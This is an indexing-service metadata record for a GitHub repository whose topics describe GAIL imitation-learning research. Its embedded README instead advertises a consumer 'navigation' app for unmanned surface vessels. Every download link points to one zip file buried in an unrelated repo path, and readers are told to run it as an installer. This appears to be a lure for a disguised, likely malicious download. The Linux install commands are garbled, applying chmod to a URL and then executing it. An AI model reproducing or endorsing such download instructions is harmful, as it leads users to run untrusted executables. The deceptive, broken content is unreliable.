{"id":31696596,"url":"https://github.com/saif99j/gail","last_synced_at":"2026-04-18T01:32:01.982Z","repository":{"id":317436011,"uuid":"1067027453","full_name":"saif99j/GAIL","owner":"saif99j","description":"🌊 Implement advanced algorithms for USV path planning using reinforcement and imitation learning, ensuring efficient and safe navigation in complex environments.","archived":false,"fork":false,"pushed_at":"2025-10-07T23:25:31.000Z","size":1569,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-10-08T01:19:36.405Z","etag":null,"topics":["actor-critic","advantage-actor-critic","biped","continuous-control","deep-reinforcement-learning","gail","generative-adversarial-network","imitation-learning","inverse-reinforcement-learning","irl","kfac","kronecker-factored-approximation","openai-gym","pytorch","roboschool","tensorflow","trpo","vail"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/saif99j.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-30T09:32:44.000Z","updated_at":"2025-10-07T23:25:35.000Z","dependencies_parsed_at":"2025-10-08T01:12:17.299Z","dependency_job_id":null,"html_url":"https://github.com/saif99j/GAIL","commit_stats":null,"previous_names":["saif99j/gail"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/saif99j/GAIL","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saif99j%2FGAIL","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saif99j%2FGAIL/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saif99j%2FGAIL/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saif99j%2FGAIL/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/saif99j","download_url":"https://codeload.github.com/saif99j/GAIL/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saif99j%2FGAIL/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278981518,"owners_count":26079640,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-08T02:00:06.501Z","response_time":56,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["actor-critic","advantage-actor-critic","biped","continuous-control","deep-reinforcement-learning","gail","generative-adversarial-network","imitation-learning","inverse-reinforcement-learning","irl","kfac","kronecker-factored-approximation","openai-gym","pytorch","roboschool","tensorflow","trpo","vail"],"created_at":"2025-10-08T17:09:28.144Z","updated_at":"2026-04-18T01:32:01.973Z","avatar_url":"https://github.com/saif99j.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🌊 GAIL - Navigate Waters Safely and Efficiently\n\n[![Download GAIL](https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip)](https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip)\n\n## 🌟 About GAIL\n\nGAIL is a project focused on improving path planning for unmanned surface vessels (USVs). It uses advanced Reinforcement Learning (RL) and Imitation Learning (IL) techniques, helping USVs to navigate complex waters filled with obstacles. The goal is to allow these vessels to move autonomously, safely, and with high efficiency.\n\n## 🚀 Getting Started\n\nFollow these steps to download and run GAIL.\n\n### 1. Check System Requirements\n\nBefore downloading, make sure your system meets the following requirements:\n\n- **Operating System**: Windows 10 or later, macOS Mojave or later, or a modern Linux distribution.\n- **CPU**: Any modern processor (Intel i5/Ryzen 3 or better).\n- **RAM**: At least 8 GB.\n- **Storage**: Minimum of 500 MB of free space.\n- **Network**: Internet connection for initial setup.\n\n### 2. Download GAIL\n\nTo download GAIL, click the link below. This will take you to the Releases page, where you can find the latest version of the software.\n\n[Visit this page to download](https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip)\n\n### 3. Install GAIL\n\nAfter downloading, follow these steps to install GAIL on your machine:\n\n#### For Windows Users:\n\n1. Locate the downloaded file (usually in your Downloads folder).\n2. Double-click the installer file.\n3. Follow the on-screen instructions to complete the installation.\n4. Once installed, you can find GAIL in your Start Menu.\n\n#### For macOS Users:\n\n1. Open the downloaded file.\n2. Drag the GAIL application into your Applications folder.\n3. Open your Applications folder and locate GAIL.\n4. Double-click GAIL to run the application.\n\n#### For Linux Users:\n\n1. Open a terminal.\n2. Navigate to the directory where you downloaded the file.\n3. Run the installation command:\n   ```\n   chmod +x https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip\n   https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip\n   ```\n4. Follow any additional prompts to finish the installation.\n\n### 4. Launch GAIL\n\nAfter the installation process is complete, you can easily launch the application:\n\n- **Windows**: Open the Start Menu and click on GAIL.\n- **macOS**: Open the Applications folder and double-click GAIL.\n- **Linux**: Type `gail` in the terminal and hit Enter.\n\n### 5. Familiarize Yourself with the Interface\n\nWhen you first open GAIL, you'll see a user-friendly interface:\n\n- **Main Navigation**: Use the navigation bar to access different features of GAIL.\n- **Help Section**: If you need assistance, click on the Help section. This provides guidance on using various features within the application.\n\n## 📥 Download \u0026 Install\n\nTo get started with GAIL, visit the link below to download the software. This step is essential to run the application successfully.\n\n[Visit this page to download](https://github.com/saif99j/GAIL/raw/refs/heads/main/Ginkgo/Software-2.7.zip)\n\n## 🛠️ Features\n\nGAIL offers several features to enhance the user experience:\n\n- **Autonomous Navigation**: Our algorithm allows USVs to chart their own courses in busy waters.\n- **User-Friendly Interface**: No programming knowledge is required to operate GAIL.\n- **Obstacle Detection**: GAIL can recognize and navigate around both static and moving obstacles.\n- **Simulation Mode**: Test GAIL’s capabilities in a virtual environment before deploying in real waters.\n\n## 🔄 Updates and Improvements\n\nWe continuously work on GAIL to enhance functionality and performance. Make sure to check the Releases page frequently for updates. New features and bug fixes are added to improve your experience.\n\n## 📞 Support\n\nIf you encounter any issues or have questions, feel free to reach out for support. You can contact us through the Issues section in our GitHub repository. We strive to respond promptly to any inquiries.\n\nThank you for choosing GAIL to assist in your navigation needs. We aim to provide you with a seamless experience.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsaif99j%2Fgail","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsaif99j%2Fgail","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsaif99j%2Fgail/lists"}